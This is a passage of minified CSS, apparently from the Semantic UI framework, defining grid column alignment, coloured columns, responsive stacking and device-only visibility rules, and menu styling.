aligned"].grid>.row>.column{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;vertical-align:bottom;-ms-flex-item-align:end!important;align-self:flex-end!important}.ui.grid>.row>.stretched.column,.ui.grid>.stretched.column:not(.row),.ui.grid>.stretched.row>.column,.ui.stretched.grid>.column,.ui.stretched.grid>.row>.column{display:-webkit-inline-box!important;display:-ms-inline-flexbox!important;display:inline-flex!important;-ms-flex-item-align:stretch;align-self:stretch;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.grid>.row>.stretched.column>*,.ui.grid>.stretched.column:not(.row)>*,.ui.grid>.stretched.row>.column>*,.ui.stretched.grid>.column>*,.ui.stretched.grid>.row>.column>*{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}.ui.grid>.row>[class*="left aligned"].column.column,.ui.grid>[class*="left aligned"].column.column,.ui.grid>[class*="left aligned"].row>.column,.ui[class*="left aligned"].grid>.column,.ui[class*="left aligned"].grid>.row>.column{text-align:left;-ms-flex-item-align:inherit;-ms-grid-row-align:inherit;align-self:inherit}.ui.grid>.row>[class*="center aligned"].column.column,.ui.grid>[class*="center aligned"].column.column,.ui.grid>[class*="center aligned"].row>.column,.ui[class*="center aligned"].grid>.column,.ui[class*="center aligned"].grid>.row>.column{text-align:center;-ms-flex-item-align:inherit;-ms-grid-row-align:inherit;align-self:inherit}.ui[class*="center aligned"].grid{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.ui.grid>.row>[class*="right aligned"].column.column,.ui.grid>[class*="right aligned"].column.column,.ui.grid>[class*="right aligned"].row>.column,.ui[class*="right aligned"].grid>.column,.ui[class*="right aligned"].grid>.row>.column{text-align:right;-ms-flex-item-align:inherit;-ms-grid-row-align:inherit;align-self:inherit}.ui.grid>.justified.column.column,.ui.grid>.justified.row>.column,.ui.grid>.row>.justified.column.column,.ui.justified.grid>.column,.ui.justified.grid>.row>.column{text-align:justify;-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto}.ui.grid>.row>.black.column,.ui.grid>.row>.blue.column,.ui.grid>.row>.brown.column,.ui.grid>.row>.green.column,.ui.grid>.row>.grey.column,.ui.grid>.row>.olive.column,.ui.grid>.row>.orange.column,.ui.grid>.row>.pink.column,.ui.grid>.row>.purple.column,.ui.grid>.row>.red.column,.ui.grid>.row>.teal.column,.ui.grid>.row>.violet.column,.ui.grid>.row>.yellow.column{margin-top:-1rem;margin-bottom:-1rem;padding-top:1rem;padding-bottom:1rem}.ui.grid>.red.column,.ui.grid>.red.row,.ui.grid>.row>.red.column{background-color:#db2828!important;color:#fff}.ui.grid>.orange.column,.ui.grid>.orange.row,.ui.grid>.row>.orange.column{background-color:#f2711c!important;color:#fff}.ui.grid>.row>.yellow.column,.ui.grid>.yellow.column,.ui.grid>.yellow.row{background-color:#fbbd08!important;color:#fff}.ui.grid>.olive.column,.ui.grid>.olive.row,.ui.grid>.row>.olive.column{background-color:#b5cc18!important;color:#fff}.ui.grid>.green.column,.ui.grid>.green.row,.ui.grid>.row>.green.column{background-color:#21ba45!important;color:#fff}.ui.grid>.row>.teal.column,.ui.grid>.teal.column,.ui.grid>.teal.row{background-color:#00b5ad!important;color:#fff}.ui.grid>.blue.column,.ui.grid>.blue.row,.ui.grid>.row>.blue.column{background-color:#2185d0!important;color:#fff}.ui.grid>.row>.violet.column,.ui.grid>.violet.column,.ui.grid>.violet.row{background-color:#6435c9!important;color:#fff}.ui.grid>.purple.column,.ui.grid>.purple.row,.ui.grid>.row>.purple.column{background-color:#a333c8!important;color:#fff}.ui.grid>.pink.column,.ui.grid>.pink.row,.ui.grid>.row>.pink.column{background-color:#e03997!important;color:#fff}.ui.grid>.brown.column,.ui.grid>.brown.row,.ui.grid>.row>.brown.column{background-color:#a5673f!important;color:#fff}.ui.grid>.grey.column,.ui.grid>.grey.row,.ui.grid>.row>.grey.column{background-color:#767676!important;color:#fff}.ui.grid>.black.column,.ui.grid>.black.row,.ui.grid>.row>.black.column{background-color:#1b1c1d!important;color:#fff}.ui.grid>[class*="equal width"].row>.column,.ui[class*="equal width"].grid>.column:not(.row),.ui[class*="equal width"].grid>.row>.column{display:inline-block;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}.ui.grid>[class*="equal width"].row>.wide.column,.ui[class*="equal width"].grid>.row>.wide.column,.ui[class*="equal width"].grid>.wide.column{-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0}@media only screen and (max-width:767px){.ui.grid>[class*="mobile reversed"].row,.ui[class*="mobile reversed"].grid,.ui[class*="mobile reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui.stackable[class*="mobile reversed"],.ui[class*="mobile vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="mobile reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{box-shadow:none}.ui.grid[class*="vertically divided"][class*="mobile vertically reversed"]>.row:first-child:before{box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="mobile vertically reversed"]>.row:last-child:before{box-shadow:none}.ui[class*="mobile reversed"].celled.grid>.row>.column:first-child{box-shadow:-1px 0 0 0 #d4d4d5}.ui[class*="mobile reversed"].celled.grid>.row>.column:last-child{box-shadow:none}}@media only screen and (min-width:768px) and (max-width:991px){.ui.grid>[class*="tablet reversed"].row,.ui[class*="tablet reversed"].grid,.ui[class*="tablet reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui[class*="tablet vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="tablet reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{box-shadow:none}.ui.grid[class*="vertically divided"][class*="tablet vertically reversed"]>.row:first-child:before{box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="tablet vertically reversed"]>.row:last-child:before{box-shadow:none}.ui[class*="tablet reversed"].celled.grid>.row>.column:first-child{box-shadow:-1px 0 0 0 #d4d4d5}.ui[class*="tablet reversed"].celled.grid>.row>.column:last-child{box-shadow:none}}@media only screen and (min-width:992px){.ui.grid>[class*="computer reversed"].row,.ui[class*="computer reversed"].grid,.ui[class*="computer reversed"].grid>.row{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.ui[class*="computer vertically reversed"].grid{-webkit-box-orient:vertical;-webkit-box-direction:reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.column:first-child,.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:first-child{box-shadow:-1px 0 0 0 rgba(34,36,38,.15)}.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.column:last-child,.ui[class*="computer reversed"].divided.grid:not([class*="vertically divided"])>.row>.column:last-child{box-shadow:none}.ui.grid[class*="vertically divided"][class*="computer vertically reversed"]>.row:first-child:before{box-shadow:0 -1px 0 0 rgba(34,36,38,.15)}.ui.grid[class*="vertically divided"][class*="computer vertically reversed"]>.row:last-child:before{box-shadow:none}.ui[class*="computer reversed"].celled.grid>.row>.column:first-child{box-shadow:-1px 0 0 0 #d4d4d5}.ui[class*="computer reversed"].celled.grid>.row>.column:last-child{box-shadow:none}}@media only screen and (min-width:768px) and (max-width:991px){.ui.doubling.grid{width:auto}.ui.doubling.grid>.row,.ui.grid>.doubling.row{margin:0!important;padding:0!important}.ui.doubling.grid>.row>.column,.ui.grid>.doubling.row>.column{display:inline-block!important;padding-top:1rem!important;padding-bottom:1rem!important;box-shadow:none!important;margin:0}.ui.grid>[class*="two column"].doubling.row.row>.column,.ui[class*="two column"].doubling.grid>.column:not(.row),.ui[class*="two column"].doubling.grid>.row>.column{width:100%!important}.ui.grid>[class*="three column"].doubling.row.row>.column,.ui[class*="three column"].doubling.grid>.column:not(.row),.ui[class*="three column"].doubling.grid>.row>.column{width:50%!important}.ui.grid>[class*="four column"].doubling.row.row>.column,.ui[class*="four column"].doubling.grid>.column:not(.row),.ui[class*="four column"].doubling.grid>.row>.column{width:50%!important}.ui.grid>[class*="five column"].doubling.row.row>.column,.ui[class*="five column"].doubling.grid>.column:not(.row),.ui[class*="five column"].doubling.grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="six column"].doubling.row.row>.column,.ui[class*="six column"].doubling.grid>.column:not(.row),.ui[class*="six column"].doubling.grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="seven column"].doubling.row.row>.column,.ui[class*="seven column"].doubling.grid>.column:not(.row),.ui[class*="seven column"].doubling.grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="eight column"].doubling.row.row>.column,.ui[class*="eight column"].doubling.grid>.column:not(.row),.ui[class*="eight column"].doubling.grid>.row>.column{width:25%!important}.ui.grid>[class*="nine column"].doubling.row.row>.column,.ui[class*="nine column"].doubling.grid>.column:not(.row),.ui[class*="nine column"].doubling.grid>.row>.column{width:25%!important}.ui.grid>[class*="ten column"].doubling.row.row>.column,.ui[class*="ten column"].doubling.grid>.column:not(.row),.ui[class*="ten column"].doubling.grid>.row>.column{width:20%!important}.ui.grid>[class*="eleven column"].doubling.row.row>.column,.ui[class*="eleven column"].doubling.grid>.column:not(.row),.ui[class*="eleven column"].doubling.grid>.row>.column{width:20%!important}.ui.grid>[class*="twelve column"].doubling.row.row>.column,.ui[class*="twelve column"].doubling.grid>.column:not(.row),.ui[class*="twelve column"].doubling.grid>.row>.column{width:16.66666667%!important}.ui.grid>[class*="thirteen column"].doubling.row.row>.column,.ui[class*="thirteen column"].doubling.grid>.column:not(.row),.ui[class*="thirteen column"].doubling.grid>.row>.column{width:16.66666667%!important}.ui.grid>[class*="fourteen column"].doubling.row.row>.column,.ui[class*="fourteen column"].doubling.grid>.column:not(.row),.ui[class*="fourteen column"].doubling.grid>.row>.column{width:14.28571429%!important}.ui.grid>[class*="fifteen column"].doubling.row.row>.column,.ui[class*="fifteen column"].doubling.grid>.column:not(.row),.ui[class*="fifteen column"].doubling.grid>.row>.column{width:14.28571429%!important}.ui.grid>[class*="sixteen column"].doubling.row.row>.column,.ui[class*="sixteen column"].doubling.grid>.column:not(.row),.ui[class*="sixteen column"].doubling.grid>.row>.column{width:12.5%!important}}@media only screen and (max-width:767px){.ui.doubling.grid>.row,.ui.grid>.doubling.row{margin:0!important;padding:0!important}.ui.doubling.grid>.row>.column,.ui.grid>.doubling.row>.column{padding-top:1rem!important;padding-bottom:1rem!important;margin:0!important;box-shadow:none!important}.ui.grid>[class*="two column"].doubling:not(.stackable).row.row>.column,.ui[class*="two column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="two column"].doubling:not(.stackable).grid>.row>.column{width:100%!important}.ui.grid>[class*="three column"].doubling:not(.stackable).row.row>.column,.ui[class*="three column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="three column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="four column"].doubling:not(.stackable).row.row>.column,.ui[class*="four column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="four column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="five column"].doubling:not(.stackable).row.row>.column,.ui[class*="five column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="five column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="six column"].doubling:not(.stackable).row.row>.column,.ui[class*="six column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="six column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="seven column"].doubling:not(.stackable).row.row>.column,.ui[class*="seven column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="seven column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="eight column"].doubling:not(.stackable).row.row>.column,.ui[class*="eight column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="eight column"].doubling:not(.stackable).grid>.row>.column{width:50%!important}.ui.grid>[class*="nine column"].doubling:not(.stackable).row.row>.column,.ui[class*="nine column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="nine column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="ten column"].doubling:not(.stackable).row.row>.column,.ui[class*="ten column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="ten column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="eleven column"].doubling:not(.stackable).row.row>.column,.ui[class*="eleven column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="eleven column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="twelve column"].doubling:not(.stackable).row.row>.column,.ui[class*="twelve column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="twelve column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="thirteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="thirteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="thirteen column"].doubling:not(.stackable).grid>.row>.column{width:33.33333333%!important}.ui.grid>[class*="fourteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="fourteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="fourteen column"].doubling:not(.stackable).grid>.row>.column{width:25%!important}.ui.grid>[class*="fifteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="fifteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="fifteen column"].doubling:not(.stackable).grid>.row>.column{width:25%!important}.ui.grid>[class*="sixteen column"].doubling:not(.stackable).row.row>.column,.ui[class*="sixteen column"].doubling:not(.stackable).grid>.column:not(.row),.ui[class*="sixteen column"].doubling:not(.stackable).grid>.row>.column{width:25%!important}}@media only screen and (max-width:767px){.ui.stackable.grid{width:auto;margin-left:0!important;margin-right:0!important}.ui.grid>.stackable.stackable.row>.column,.ui.stackable.grid>.column.grid>.column,.ui.stackable.grid>.column.row>.column,.ui.stackable.grid>.column:not(.row),.ui.stackable.grid>.row>.column,.ui.stackable.grid>.row>.wide.column,.ui.stackable.grid>.wide.column{width:100%!important;margin:0 0!important;box-shadow:none!important;padding:1rem 1rem!important}.ui.stackable.grid:not(.vertically)>.row{margin:0;padding:0}.ui.container>.ui.stackable.grid>.column,.ui.container>.ui.stackable.grid>.row>.column{padding-left:0!important;padding-right:0!important}.ui.grid .ui.stackable.grid,.ui.segment:not(.vertical) .ui.stackable.page.grid{margin-left:-1rem!important;margin-right:-1rem!important}.ui.stackable.celled.grid>.column:not(.row):first-child,.ui.stackable.celled.grid>.row:first-child>.column:first-child,.ui.stackable.divided.grid>.column:not(.row):first-child,.ui.stackable.divided.grid>.row:first-child>.column:first-child{border-top:none!important}.ui.inverted.stackable.celled.grid>.column:not(.row),.ui.inverted.stackable.celled.grid>.row>.column,.ui.inverted.stackable.divided.grid>.column:not(.row),.ui.inverted.stackable.divided.grid>.row>.column{border-top:1px solid rgba(255,255,255,.1)}.ui.stackable.celled.grid>.column:not(.row),.ui.stackable.celled.grid>.row>.column,.ui.stackable.divided:not(.vertically).grid>.column:not(.row),.ui.stackable.divided:not(.vertically).grid>.row>.column{border-top:1px solid rgba(34,36,38,.15);box-shadow:none!important;padding-top:2rem!important;padding-bottom:2rem!important}.ui.stackable.celled.grid>.row{box-shadow:none!important}.ui.stackable.divided:not(.vertically).grid>.column:not(.row),.ui.stackable.divided:not(.vertically).grid>.row>.column{padding-left:0!important;padding-right:0!important}}@media only screen and (max-width:767px){.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.mobile),.ui.grid.grid.grid>[class*="tablet only"].column:not(.mobile),.ui.grid.grid.grid>[class*="tablet only"].row:not(.mobile),.ui[class*="tablet only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="computer only"].column:not(.mobile),.ui.grid.grid.grid>[class*="computer only"].column:not(.mobile),.ui.grid.grid.grid>[class*="computer only"].row:not(.mobile),.ui[class*="computer only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui[class*="large screen only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only screen and (min-width:768px) and (max-width:991px){.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.tablet),.ui.grid.grid.grid>[class*="mobile only"].column:not(.tablet),.ui.grid.grid.grid>[class*="mobile only"].row:not(.tablet),.ui[class*="mobile only"].grid.grid.grid:not(.tablet){display:none!important}.ui.grid.grid.grid>.row>[class*="computer only"].column:not(.tablet),.ui.grid.grid.grid>[class*="computer only"].column:not(.tablet),.ui.grid.grid.grid>[class*="computer only"].row:not(.tablet),.ui[class*="computer only"].grid.grid.grid:not(.tablet){display:none!important}.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui[class*="large screen only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui[class*="large screen only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only screen and (min-width:1920px){.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer){display:none!important}}.ui.menu{display:-webkit-box;display:-ms-flexbox;display:flex;margin:1rem 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;background:#fff;font-weight:400;border:1px solid rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15);border-radius:.28571429rem;min-height:2.85714286em}.ui.menu:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.menu:first-child{margin-top:0}.ui.menu:last-child{margin-bottom:0}.ui.menu .menu{margin:0}.ui.menu:not(.vertical)>.menu{display:-webkit-box;display:-ms-flexbox;display:flex}.ui.menu:not(.vertical) .item{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.menu .item{position:relative;vertical-align:middle;line-height:1;text-decoration:none;-webkit-tap-highlight-color:transparent;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background:0 0;padding:.92857143em 1.14285714em;text-transform:none;color:rgba(0,0,0,.87);font-weight:400;-webkit-transition:background .1s ease,box-shadow .1s ease,color .1s ease;transition:background .1s ease,box-shadow .1s ease,color .1s ease}.ui.menu>.item:first-child{border-radius:.28571429rem 0 0 .28571429rem}.ui.menu .item:before{position:absolute;content:'';top:0;right:0;height:100%;width:1px;background:rgba(34,36,38,.1)}.ui.menu .item>a:not(.ui),.ui.menu .item>p:only-child,.ui.menu .text.item>*{-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text;line-height:1.3}.ui.menu .item>p:first-child{margin-top:0}.ui.menu .item>p:last-child{margin-bottom:0}.ui.menu .item>i.icon{opacity:.9;float:none;margin:0 .35714286em 0 0}.ui.menu:not(.vertical) .item>.button{position:relative;top:0;margin:-.5em 0;padding-bottom:.78571429em;padding-top:.78571429em;font-size:1em}.ui.menu>.container,.ui.menu>.grid{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:inherit;-ms-flex-align:inherit;align-items:inherit;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:inherit;flex-direction:inherit}.ui.menu .item>.input{width:100%}.ui.menu:not(.vertical) .item>.input{position:relative;top:0;margin:-.5em 0}.ui.menu .item>.input input{font-size:1em;padding-top:.57142857em;padding-bottom:.57142857em}.ui.menu .header.item,.ui.vertical.menu .header.item{margin:0;background:'';text-transform:normal;font-weight:700}.ui.vertical.menu .item>.header:not(.ui){margin:0 0 .5em;font-size:1em;font-weight:700}.ui.menu .item>i.dropdown.icon{padding:0;float:right;margin:0 0 0 1em}.ui.menu .dropdown.item .menu{left:0;min-width:calc(100% - 1px);border-radius:0 0 .28571429rem .28571429rem;background:#fff;margin:0 0 0;box-shadow:0 1px 3px 0 rgba(0,0,0,.08);-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.ui.menu .ui.dropdown .menu>.item{margin:0;text-align:left;font-size:1em!important;padding:.78571429em 1.14285714em!important;background:0 0!important;color:rgba(0,0,0,.87)!important;text-transform:none!important;font-weight:400!important;box-shadow:none!important;-webkit-transition:none!important;transition:none!important}.ui.menu .ui.dropdown .menu>.item:hover{background:rgba(0,0,0,.05)!important;color:rgba(0,0,0,.95)!important}.ui.menu .ui.dropdown .menu>.selected.item{background:rgba(0,0,0,.05)!important;color:rgba(0,0,0,.95)!important}.ui.menu .ui.dropdown .menu>.active.item{background:rgba(0,0,0,.03)!important;font-weight:700!important;color:rgba(0,0,0,.95)!important}.ui.menu .ui.dropdown.item .menu .item:not(.filtered){display:block}.ui.menu .ui.dropdown .menu>.item .icon:not(.dropdown){display:inline-block;font-size:1em!important;float:none;margin:0 .75em 0 0}.ui.secondary.menu .dropdown.item>.menu,.ui.text.menu .dropdown.item>.menu{border-radius:.28571429rem;margin-top:.35714286em}.ui.menu .pointing.dropdown.item .menu{margin-top:.75em}.ui.inverted.menu .search.dropdown.item>.search,.ui.inverted.menu .search.dropdown.item>.text{color:rgba(255,255,255,.9)}.ui.vertical.menu .dropdown.item>.icon{float:right;content:"\f0da";margin-left:1em}.ui.vertical.menu .dropdown.item .menu{left:100%;min-width:0;margin:0;box-shadow:0 1px 3px 0 rgba(0,0,0,.08);border-radius:0 .28571429rem .28571429rem .28571429rem}.ui.vertical.menu .dropdown.item.upward .menu{bottom:0}.ui.vertical.menu .dropdown.item:not(.upward) .menu{top:0}.ui.vertical.menu .active.dropdown.item{border-top-right-radius:0;border-bottom-right-radius:0}.ui.vertical.menu .dropdown.active.item{box-shadow:none}.ui.item.menu .dropdown .menu .item{width:100%}.ui.menu .item>.label{background:#999;color:#fff;margin-left:1em;padding:.3em .78571429em}.ui.vertical.menu .item>.label{background:#999;color:#fff;margin-top:-.15em;margin-bottom:-.15em;padding:.3em .78571429em}.ui.menu .item>.floating.label{padding:.3em .78571429em}.ui.menu .item>img:not(.ui){display:inline-block;vertical-align:middle;margin:-.3em 0;width:2.5em}.ui.vertical.menu .item>img:not(.ui):only-child{display:block;max-width:100%;width:auto}.ui.vertical.sidebar.menu>.item:first-child:before{display:block!important}.ui.vertical.sidebar.menu>.item::before{top:auto;bottom:0}@media only screen and (max-width:767px){.ui.menu>.ui.container{width:100%!important;margin-left:0!important;margin-right:0!important}}@media only screen and (min-width:768px){.ui.menu:not(.secondary):not(.text):not(.tabular):not(.borderless)>.container>.item:not(.right):not(.borderless):first-child{border-left:1px solid rgba(34,36,38,.1)}}.ui.link.menu .item:hover,.ui.menu .dropdown.item:hover,.ui.menu .link.item:hover,.ui.menu a.item:hover{cursor:pointer;background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.link.menu .item:active,.ui.menu .link.item:active,.ui.menu a.item:active{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.menu .active.item{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);font-weight:400;box-shadow:none}.ui.menu .active.item>i.icon{opacity:1}.ui.menu .active.item:hover,.ui.vertical.menu .active.item:hover{background-color:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.menu .item.disabled,.ui.menu .item.disabled:hover{cursor:default;background-color:transparent!important;color:rgba(40,40,40,.3)}.ui.menu:not(.vertical) .left.item,.ui.menu:not(.vertical) .left.menu{display:-webkit-box;display:-ms-flexbox;display:flex;margin-right:auto!important}.ui.menu:not(.vertical) .right.item,.ui.menu:not(.vertical) .right.menu{display:-webkit-box;display:-ms-flexbox;display:flex;margin-left:auto!important}.ui.menu .right.item::before,.ui.menu .right.menu>.item::before{right:auto;left:0}.ui.vertical.menu{display:block;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;background:#fff;box-shadow:0 1px 2px 0 rgba(34,36,38,.15)}.ui.vertical.menu .item{display:block;background:0 0;border-top:none;border-right:none}.ui.vertical.menu>.item:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.menu>.item:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.menu .item>.label{float:right;text-align:center}.ui.vertical.menu .item>i.icon{width:1.18em;float:right;margin:0 0 0 .5em}.ui.vertical.menu .item>.label+i.icon{float:none;margin:0 .5em 0 0}.ui.vertical.menu .item:before{position:absolute;content:'';top:0;left:0;width:100%;height:1px;background:rgba(34,36,38,.1)}.ui.vertical.menu .item:first-child:before{display:none!important}.ui.vertical.menu .item>.menu{margin:.5em -1.14285714em 0}.ui.vertical.menu .menu .item{background:0 0;padding:.5em 1.33333333em;font-size:.85714286em;color:rgba(0,0,0,.5)}.ui.vertical.menu .item .menu .link.item:hover,.ui.vertical.menu .item .menu a.item:hover{color:rgba(0,0,0,.85)}.ui.vertical.menu .menu .item:before{display:none}.ui.vertical.menu .active.item{background:rgba(0,0,0,.05);border-radius:0;box-shadow:none}.ui.vertical.menu>.active.item:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.menu>.active.item:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.menu>.active.item:only-child{border-radius:.28571429rem}.ui.vertical.menu .active.item .menu .active.item{border-left:none}.ui.vertical.menu .item .menu .active.item{background-color:transparent;font-weight:700;color:rgba(0,0,0,.95)}.ui.tabular.menu{border-radius:0;box-shadow:none!important;border:none;background:none transparent;border-bottom:1px solid #d4d4d5}.ui.tabular.fluid.menu{width:calc(100% + 2px)!important}.ui.tabular.menu .item{background:0 0;border-bottom:none;border-left:1px solid transparent;border-right:1px solid transparent;border-top:2px solid transparent;padding:.92857143em 